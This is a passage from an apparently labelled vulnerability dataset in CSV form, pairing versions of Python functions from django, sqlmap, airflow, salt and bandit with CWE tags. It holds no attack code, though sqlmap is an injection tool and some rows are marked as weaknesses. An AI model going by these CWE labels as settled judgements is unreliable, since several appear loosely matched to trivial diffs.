        settings_port = 444
        options_port = 555
        self.assertNotEqual(settings_port, options_port, 'test pre-req')
        self.assertEqual(
            ['mysql', '--user=optionuser', '--password=optionpassword',
             '--host=optionhost', '--port={}'.format(options_port), 'optiondbname'],
            self.get_command_line_arguments({
                'NAME': 'settingdbname',
                'USER': 'settinguser',
                'PASSWORD': 'settingpassword',
                'HOST': 'settinghost',
                'PORT': settings_port,
                'OPTIONS': {
                    'db': 'optiondbname',
                    'user': 'optionuser',
                    'passwd': 'optionpassword',
                    'host': 'optionhost',
                    'port': options_port,
                },
            }))",CWE-259,django/django,9e8edc1e5511f128dec6bcd70a10ebd263b76280,"def test_options_override_settings_proper_values(self):
        settings_port = 444
        options_port = 555
        self.assertNotEqual(settings_port, options_port, 'test pre-req')
        self.assertEqual(
            ['mysql', '--user=optionuser', '--password=optionpassword',
             '--host=optionhost', '--port={}'.format(options_port), 'optiondbname'],
            self.get_command_line_arguments({
                'NAME': 'settingdbname',
                'USER': 'settinguser',
                'PASSWORD': 'settingpassword',
                'HOST': 'settinghost',
                'PORT': settings_port,
                'OPTIONS': {
                    'db': 'optiondbname',
                    'user': 'optionuser',
                    'passwd': 'optionpassword',
                    'host': 'optionhost',
                    'port': options_port,
                },
            }))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _basicOptionValidation():
    if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
        errMsg = ""value for option '--start' (limitStart) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0):
        errMsg = ""value for option '--stop' (limitStop) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5):
        errMsg = ""value for option '--level' must be an integer value from range [1, 5]""
        raise SqlmapSyntaxException(errMsg)

    if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3):
        errMsg = ""value for option '--risk' must be an integer value from range [1, 3]""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
       isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
        warnMsg = ""usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable""
        logger.warn(warnMsg)

    if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
       isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
        errMsg = ""value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option""
        raise SqlmapSyntaxException(errMsg)

    if conf.textOnly and conf.nullConnection:
        errMsg = ""switch '--text-only' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.eta and conf.verbose > defaults.verbose:
        errMsg = ""switch '--eta' is incompatible with option '-v'""
        raise SqlmapSyntaxException(errMsg)

    if conf.secondUrl and conf.secondReq:
        errMsg = ""option '--second-url' is incompatible with option '--second-req')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.url:
        errMsg = ""option '-d' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.dbms:
        errMsg = ""option '-d' is incompatible with option '--dbms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.titles and conf.nullConnection:
        errMsg = ""switch '--titles' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.search:
        errMsg = ""switch '--dump' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
        errMsg = ""switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.api and not conf.configFile:
        errMsg = ""switch '--api' requires usage of option '-c'""
        raise SqlmapSyntaxException(errMsg)

    if conf.data and conf.nullConnection:
        errMsg = ""option '--data' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.nullConnection:
        errMsg = ""option '--string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.notString and conf.nullConnection:
        errMsg = ""option '--not-string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.osPwn:
        errMsg = ""option '--tor' is incompatible with switch '--os-pwn'""
        raise SqlmapSyntaxException(errMsg)

    if conf.noCast and conf.hexConvert:
        errMsg = ""switch '--no-cast' is incompatible with switch '--hex'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpAll and conf.search:
        errMsg = ""switch '--dump-all' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.notString:
        errMsg = ""option '--string' is incompatible with switch '--not-string'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp and conf.nullConnection:
        errMsg = ""option '--regexp' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp:
        try:
            re.compile(conf.regexp)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.regexp, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.paramExclude:
        try:
            re.compile(conf.paramExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.paramExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.cookieDel and len(conf.cookieDel):
        errMsg = ""option '--cookie-del' should contain a single character (e.g. ';')""
        raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude:
        try:
            re.compile(conf.crawlExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.crawlExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.scope:
        try:
            re.compile(conf.scope)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.scope, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.dumpAll:
        errMsg = ""switch '--dump' is incompatible with switch '--dump-all'""
        raise SqlmapSyntaxException(errMsg)

    if conf.predictOutput and (conf.threads > 1 or conf.optimize):
        errMsg = ""switch '--predict-output' is incompatible with option '--threads' and switch '-o'""
        raise SqlmapSyntaxException(errMsg)

    if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get(""skipThreadCheck""):
        errMsg = ""maximum number of used threads is %d avoiding potential connection issues"" % MAX_NUMBER_OF_THREADS
        raise SqlmapSyntaxException(errMsg)

    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
        errMsg = ""switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'""
        raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude and not conf.crawlDepth:
        errMsg = ""option '--crawl-exclude' requires usage of switch '--crawl'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safePost and not conf.safeUrl:
        errMsg = ""option '--safe-post' requires usage of option '--safe-url'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)):
        errMsg = ""option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeReqFile and any((conf.safeUrl, conf.safePost)):
        errMsg = ""option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfUrl and not conf.csrfToken:
        errMsg = ""option '--csrf-url' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfMethod and not conf.csrfToken:
        errMsg = ""option '--csrf-method' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfToken and conf.threads > 1:
        errMsg = ""option '--csrf-url' is incompatible with option '--threads'""
        raise SqlmapSyntaxException(errMsg)

    if conf.requestFile and conf.url and conf.url != DUMMY_URL:
        errMsg = ""option '-r' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.proxy:
        errMsg = ""option '-d' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.tor:
        errMsg = ""option '-d' is incompatible with switch '--tor'""
        raise SqlmapSyntaxException(errMsg)

    if not conf.technique:
        errMsg = ""option '--technique' can't be empty""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.ignoreProxy:
        errMsg = ""switch '--tor' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.proxy:
        errMsg = ""switch '--tor' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.proxyFile:
        errMsg = ""switch '--proxy' is incompatible with option '--proxy-file'""
        raise SqlmapSyntaxException(errMsg)

    if conf.checkTor and not any((conf.tor, conf.proxy)):
        errMsg = ""switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)""
        raise SqlmapSyntaxException(errMsg)

    if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
        errMsg = ""value for option '--tor-port' must be in range [0, 65535]""
        raise SqlmapSyntaxException(errMsg)

    if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
        errMsg = ""option '--tor-type' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(PROXY_TYPE, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True):
        errMsg = ""option '--dump-format' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(DUMP_FORMAT, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.skip and conf.testParameter:
        if intersect(conf.skip, conf.testParameter):
            errMsg = ""option '--skip' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.rParam and conf.testParameter:
        if intersect(conf.rParam, conf.testParameter):
            errMsg = ""option '--randomize' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.mobile and conf.agent:
        errMsg = ""switch '--mobile' is incompatible with option '--user-agent'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.ignoreProxy:
        errMsg = ""option '--proxy' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.alert and conf.alert.startswith('-'):
        errMsg = ""value for option '--alert' must be valid operating system command(s)""
        raise SqlmapSyntaxException(errMsg)

    if conf.timeSec < 1:
        errMsg = ""value for option '--time-sec' must be a positive integer""
        raise SqlmapSyntaxException(errMsg)

    if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar):
        errMsg = ""value for option '--union-char' must be an alpha-numeric value (e.g. 1)""
        raise SqlmapSyntaxException(errMsg)

    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
        errMsg = ""option '--crack' should be used as a standalone""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.uCols, six.string_types):
        if not conf.uCols.isdigit() and (""-"" not in conf.uCols or len(conf.uCols.split(""-"")) != 2):
            errMsg = ""value for option '--union-cols' must be a range with hyphon ""
            errMsg += ""(e.g. 1-10) or integer value (e.g. 5)""
            raise SqlmapSyntaxException(errMsg)

    if conf.dbmsCred and ':' not in conf.dbmsCred:
        errMsg = ""value for option '--dbms-cred' must be in ""
        errMsg += ""format <username>:<password> (e.g. \""root:pass\"")""
        raise SqlmapSyntaxException(errMsg)

    if conf.encoding:
        _ = checkCharEncoding(conf.encoding, False)
        if _ is None:
            errMsg = ""unknown encoding '%s'. Please visit "" % conf.encoding
            errMsg += ""'%s' to get the full list of "" % CODECS_LIST_PAGE
            errMsg += ""supported encodings""
            raise SqlmapSyntaxException(errMsg)
        else:
            conf.encoding = _

    if conf.loadCookies:
        if not os.path.exists(conf.loadCookies):
            errMsg = ""cookies file '%s' does not exist"" % conf.loadCookies
            raise SqlmapFilePathException(errMsg)",,sqlmapproject/sqlmap,82e6bc64c23c40c4178e0e6b2026abedf082bdbc,"def _basicOptionValidation():
    if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
        errMsg = ""value for option '--start' (limitStart) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0):
        errMsg = ""value for option '--stop' (limitStop) must be an integer value greater than zero (>0)""
        raise SqlmapSyntaxException(errMsg)

    if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5):
        errMsg = ""value for option '--level' must be an integer value from range [1, 5]""
        raise SqlmapSyntaxException(errMsg)

    if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3):
        errMsg = ""value for option '--risk' must be an integer value from range [1, 3]""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
       isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
        warnMsg = ""usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable""
        logger.warn(warnMsg)

    if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
       isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
        errMsg = ""value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option""
        raise SqlmapSyntaxException(errMsg)

    if conf.textOnly and conf.nullConnection:
        errMsg = ""switch '--text-only' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.eta and conf.verbose > defaults.verbose:
        errMsg = ""switch '--eta' is incompatible with option '-v'""
        raise SqlmapSyntaxException(errMsg)

    if conf.secondUrl and conf.secondReq:
        errMsg = ""option '--second-url' is incompatible with option '--second-req')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.url:
        errMsg = ""option '-d' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.dbms:
        errMsg = ""option '-d' is incompatible with option '--dbms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.titles and conf.nullConnection:
        errMsg = ""switch '--titles' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.search:
        errMsg = ""switch '--dump' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
        errMsg = ""switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'""
        raise SqlmapSyntaxException(errMsg)

    if conf.api and not conf.configFile:
        errMsg = ""switch '--api' requires usage of option '-c'""
        raise SqlmapSyntaxException(errMsg)

    if conf.data and conf.nullConnection:
        errMsg = ""option '--data' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.nullConnection:
        errMsg = ""option '--string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.notString and conf.nullConnection:
        errMsg = ""option '--not-string' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.osPwn:
        errMsg = ""option '--tor' is incompatible with switch '--os-pwn'""
        raise SqlmapSyntaxException(errMsg)

    if conf.noCast and conf.hexConvert:
        errMsg = ""switch '--no-cast' is incompatible with switch '--hex'""
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpAll and conf.search:
        errMsg = ""switch '--dump-all' is incompatible with switch '--search'""
        raise SqlmapSyntaxException(errMsg)

    if conf.string and conf.notString:
        errMsg = ""option '--string' is incompatible with switch '--not-string'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp and conf.nullConnection:
        errMsg = ""option '--regexp' is incompatible with switch '--null-connection'""
        raise SqlmapSyntaxException(errMsg)

    if conf.regexp:
        try:
            re.compile(conf.regexp)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.regexp, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.paramExclude:
        try:
            re.compile(conf.paramExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.paramExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.cookieDel and len(conf.cookieDel):
        errMsg = ""option '--cookie-del' should contain a single character (e.g. ';')""
        raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude:
        try:
            re.compile(conf.crawlExclude)
        except Exception as ex:
            errMsg = ""invalid regular expression '%s' ('%s')"" % (conf.crawlExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.dumpTable and conf.dumpAll:
        errMsg = ""switch '--dump' is incompatible with switch '--dump-all'""
        raise SqlmapSyntaxException(errMsg)

    if conf.predictOutput and (conf.threads > 1 or conf.optimize):
        errMsg = ""switch '--predict-output' is incompatible with option '--threads' and switch '-o'""
        raise SqlmapSyntaxException(errMsg)

    if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get(""skipThreadCheck""):
        errMsg = ""maximum number of used threads is %d avoiding potential connection issues"" % MAX_NUMBER_OF_THREADS
        raise SqlmapSyntaxException(errMsg)

    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
        errMsg = ""switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'""
        raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude and not conf.crawlDepth:
        errMsg = ""option '--crawl-exclude' requires usage of switch '--crawl'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safePost and not conf.safeUrl:
        errMsg = ""option '--safe-post' requires usage of option '--safe-url'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)):
        errMsg = ""option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'""
        raise SqlmapSyntaxException(errMsg)

    if conf.safeReqFile and any((conf.safeUrl, conf.safePost)):
        errMsg = ""option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfUrl and not conf.csrfToken:
        errMsg = ""option '--csrf-url' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfMethod and not conf.csrfToken:
        errMsg = ""option '--csrf-method' requires usage of option '--csrf-token'""
        raise SqlmapSyntaxException(errMsg)

    if conf.csrfToken and conf.threads > 1:
        errMsg = ""option '--csrf-url' is incompatible with option '--threads'""
        raise SqlmapSyntaxException(errMsg)

    if conf.requestFile and conf.url and conf.url != DUMMY_URL:
        errMsg = ""option '-r' is incompatible with option '-u' ('--url')""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.proxy:
        errMsg = ""option '-d' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.direct and conf.tor:
        errMsg = ""option '-d' is incompatible with switch '--tor'""
        raise SqlmapSyntaxException(errMsg)

    if not conf.technique:
        errMsg = ""option '--technique' can't be empty""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.ignoreProxy:
        errMsg = ""switch '--tor' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.tor and conf.proxy:
        errMsg = ""switch '--tor' is incompatible with option '--proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.proxyFile:
        errMsg = ""switch '--proxy' is incompatible with option '--proxy-file'""
        raise SqlmapSyntaxException(errMsg)

    if conf.checkTor and not any((conf.tor, conf.proxy)):
        errMsg = ""switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)""
        raise SqlmapSyntaxException(errMsg)

    if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
        errMsg = ""value for option '--tor-port' must be in range [0, 65535]""
        raise SqlmapSyntaxException(errMsg)

    if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
        errMsg = ""option '--tor-type' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(PROXY_TYPE, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True):
        errMsg = ""option '--dump-format' accepts one of following values: %s"" % "", "".join(getPublicTypeMembers(DUMP_FORMAT, True))
        raise SqlmapSyntaxException(errMsg)

    if conf.skip and conf.testParameter:
        if intersect(conf.skip, conf.testParameter):
            errMsg = ""option '--skip' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.rParam and conf.testParameter:
        if intersect(conf.rParam, conf.testParameter):
            errMsg = ""option '--randomize' is incompatible with option '-p'""
            raise SqlmapSyntaxException(errMsg)

    if conf.mobile and conf.agent:
        errMsg = ""switch '--mobile' is incompatible with option '--user-agent'""
        raise SqlmapSyntaxException(errMsg)

    if conf.proxy and conf.ignoreProxy:
        errMsg = ""option '--proxy' is incompatible with switch '--ignore-proxy'""
        raise SqlmapSyntaxException(errMsg)

    if conf.alert and conf.alert.startswith('-'):
        errMsg = ""value for option '--alert' must be valid operating system command(s)""
        raise SqlmapSyntaxException(errMsg)

    if conf.timeSec < 1:
        errMsg = ""value for option '--time-sec' must be a positive integer""
        raise SqlmapSyntaxException(errMsg)

    if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar):
        errMsg = ""value for option '--union-char' must be an alpha-numeric value (e.g. 1)""
        raise SqlmapSyntaxException(errMsg)

    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
        errMsg = ""option '--crack' should be used as a standalone""
        raise SqlmapSyntaxException(errMsg)

    if isinstance(conf.uCols, six.string_types):
        if not conf.uCols.isdigit() and (""-"" not in conf.uCols or len(conf.uCols.split(""-"")) != 2):
            errMsg = ""value for option '--union-cols' must be a range with hyphon ""
            errMsg += ""(e.g. 1-10) or integer value (e.g. 5)""
            raise SqlmapSyntaxException(errMsg)

    if conf.dbmsCred and ':' not in conf.dbmsCred:
        errMsg = ""value for option '--dbms-cred' must be in ""
        errMsg += ""format <username>:<password> (e.g. \""root:pass\"")""
        raise SqlmapSyntaxException(errMsg)

    if conf.encoding:
        _ = checkCharEncoding(conf.encoding, False)
        if _ is None:
            errMsg = ""unknown encoding '%s'. Please visit "" % conf.encoding
            errMsg += ""'%s' to get the full list of "" % CODECS_LIST_PAGE
            errMsg += ""supported encodings""
            raise SqlmapSyntaxException(errMsg)
        else:
            conf.encoding = _

    if conf.loadCookies:
        if not os.path.exists(conf.loadCookies):
            errMsg = ""cookies file '%s' does not exist"" % conf.loadCookies
            raise SqlmapFilePathException(errMsg)"
,UNKNOWN,UNKNOWN,tests/jobs/test_backfill_job.py,1,"def test_backfill_override_conf(self, dag_maker):
        dag = self._get_dummy_dag(
            dag_maker, dag_id=""test_backfill_override_conf"", task_id=""test_backfill_override_conf-1""
        )
        dr = dag_maker.create_dagrun(
            state=None,
            start_date=DEFAULT_DATE,
        )

        executor = MockExecutor()

        job = BackfillJob(
            dag=dag,
            executor=executor,
            start_date=DEFAULT_DATE,
            end_date=DEFAULT_DATE + datetime.timedelta(days=2),
            conf={""a"": 1},
        )

        with patch.object(
            job,
            ""_task_instances_for_dag_run"",
            wraps=job._task_instances_for_dag_run,
        ) as wrapped_task_instances_for_dag_run:
            job.run()
            dr = wrapped_task_instances_for_dag_run.call_args_list[0][0][1]
            assert dr.conf == {""a"": 1}",CWE-703,apache/airflow,6931fbf8f7c0e3dfe96ce51ef03f2b1502baef07,"def test_backfill_override_conf(self, dag_maker):
        dag = self._get_dummy_dag(
            dag_maker, dag_id=""test_backfill_override_conf"", task_id=""test_backfill_override_conf-1""
        )
        dr = dag_maker.create_dagrun(
            state=None,
            start_date=DEFAULT_DATE,
        )

        executor = MockExecutor()

        job = BackfillJob(
            dag=dag,
            executor=executor,
            start_date=DEFAULT_DATE,
            end_date=DEFAULT_DATE + datetime.timedelta(days=2),
            conf={""a"": 1},
        )

        with patch.object(
            job,
            ""_task_instances_for_dag_run"",
            wraps=job._task_instances_for_dag_run,
        ) as wrapped_task_instances_for_dag_run:
            job.run()
            dr = wrapped_task_instances_for_dag_run.call_args_list[0][0][0]
            assert dr.conf == {""a"": 1}"
,UNKNOWN,UNKNOWN,tests/pytests/unit/grains/test_core.py,1,"def test_locale_info_unicode_error_tzname():
    # UnicodeDecodeError most have the default string encoding
    unicode_error = UnicodeDecodeError(""fake"", b""\x00\x00"", 1, 2, ""fake"")

    # mock datetime.now().tzname()
    # cant just mock now because it is read only
    tzname = Mock(return_value=""MDT_FAKE"")
    now_ret_object = Mock(tzname=tzname)
    now = Mock(return_value=now_ret_object)
    datetime = Mock(now=now)

    # mock tzname[0].decode()
    decode = Mock(return_value=""CST_FAKE"")
    tzname2 = [Mock(decode=decode)]

    with patch.object(core, ""datetime"", datetime=datetime) as datetime_module:
        with patch.object(
            core.dateutil.tz, ""tzlocal"", side_effect=unicode_error
        ) as tzlocal:
            with patch.object(
                salt.utils.platform, ""is_proxy"", return_value=False
            ) as is_proxy:
                with patch.object(
                    core.salt.utils.platform, ""is_windows"", return_value=True
                ) as is_windows:
                    with patch.object(core, ""time"", tzname=tzname2):
                        ret = core.locale_info()

                        tzname.assert_not_called()
                        assert len(now_ret_object.method_calls) == 0
                        now.assert_not_called()
                        assert len(datetime.method_calls) == 0
                        decode.assert_called_once_with(""mbcs"")
                        assert len(tzname2[0].method_calls) == 1
                        assert len(datetime_module.method_calls) == 0
                        tzlocal.assert_called_once_with()
                        is_proxy.assert_called_once_with()
                        is_windows.assert_called_once_with()

                        assert ret[""locale_info""][""timezone""] == ""CST_FAKE""",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_locale_info_unicode_error_tzname():
    # UnicodeDecodeError most have the default string encoding
    unicode_error = UnicodeDecodeError(""fake"", b""\x00\x00"", 1, 2, ""fake"")

    # mock datetime.now().tzname()
    # cant just mock now because it is read only
    tzname = Mock(return_value=""MDT_FAKE"")
    now_ret_object = Mock(tzname=tzname)
    now = Mock(return_value=now_ret_object)
    datetime = Mock(now=now)

    # mock tzname[0].decode()
    decode = Mock(return_value=""CST_FAKE"")
    tzname2 = Mock(decode=decode)

    with patch.object(core, ""datetime"", datetime=datetime) as datetime_module:
        with patch.object(
            core.dateutil.tz, ""tzlocal"", side_effect=unicode_error
        ) as tzlocal:
            with patch.object(
                salt.utils.platform, ""is_proxy"", return_value=False
            ) as is_proxy:
                with patch.object(
                    core.salt.utils.platform, ""is_windows"", return_value=True
                ) as is_windows:
                    with patch.object(core, ""time"", tzname=tzname2):
                        ret = core.locale_info()

                        tzname.assert_not_called()
                        assert len(now_ret_object.method_calls) == 0
                        now.assert_not_called()
                        assert len(datetime.method_calls) == 0
                        decode.assert_called_once_with(""mbcs"")
                        assert len(tzname2[0].method_calls) == 1
                        assert len(datetime_module.method_calls) == 0
                        tzlocal.assert_called_once_with()
                        is_proxy.assert_called_once_with()
                        is_windows.assert_called_once_with()

                        assert ret[""locale_info""][""timezone""] == ""CST_FAKE"""
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/blacklisting.py,0,"def blacklist(context, config):
    """"""Generic blacklist test, B001.

    This generic blacklist test will be called for any encountered node with
    defined blacklist data available. This data is loaded via plugins using
    the 'bandit.blacklists' entry point. Please see the documentation for more
    details. Each blacklist datum has a unique bandit ID that may be used for
    filtering purposes, or alternatively all blacklisting can be filtered using
    the id of this built in test, 'B001'.
    """"""
    blacklists = config
    node_type = context.node.__class__.__name__

    if node_type == 'Call':
        func = context.node.func
        if isinstance(func, ast.Name) and func.id == '__import__':
            if len(context.node.args):
                if isinstance(context.node.args[0], ast.Str):
                    name = context.node.args[0].s
                else:
                    # TODO(??): import through a variable, need symbol tab
                    name = ""UNKNOWN""
            else:
                name = """"  # handle '__import__()'
        else:
            name = context.call_function_name_qual
            # In the case the Call is an importlib.import, treat the first
            # argument name as an actual import module name.
            if name in [""importlib.import_module"", ""importlib.__import__""]:
                name = context.call_args[0]
        for check in blacklists[node_type]:
            for qn in check['qualnames']:
                if fnmatch.fnmatch(name, qn):
                    return report_issue(check, name)

    if node_type.startswith('Import'):
        prefix = """"
        if node_type == ""ImportFrom"":
            if context.node.module is not None:
                prefix = context.node.module + "".""

        for check in blacklists[node_type]:
            for name in context.node.names:
                for qn in check['qualnames']:
                    if (prefix + name.name).startswith(qn):
                        return report_issue(check, name.name)",UNKNOWN,PyCQA/bandit,bb1bf81856c1467f85ee138b727568d192bd179a,"def blacklist(context, config):
    """"""Generic blacklist test, B001.

    This generic blacklist test will be called for any encountered node with
    defined blacklist data available. This data is loaded via plugins using
    the 'bandit.blacklists' entry point. Please see the documentation for more
    details. Each blacklist datum has a unique bandit ID that may be used for
    filtering purposes, or alternatively all blacklisting can be filtered using
    the id of this built in test, 'B001'.
    """"""
    blacklists = config
    node_type = context.node.__class__.__name__

    if node_type == 'Call':
        func = context.node.func
        if isinstance(func, ast.Name) and func.id == '__import__':
            if len(context.node.args):
                if isinstance(context.node.args[0], ast.Str):
                    name = context.node.args[0].s
                else:
                    # TODO(??): import through a variable, need symbol tab
                    name = ""UNKNOWN""
            else:
                name = """"  # handle '__import__()'
        else:
            name = context.call_function_name_qual
        for check in blacklists[node_type]:
            for qn in check['qualnames']:
                if fnmatch.fnmatch(name, qn):
                    return report_issue(check, name)

    if node_type.startswith('Import'):
        prefix = """"
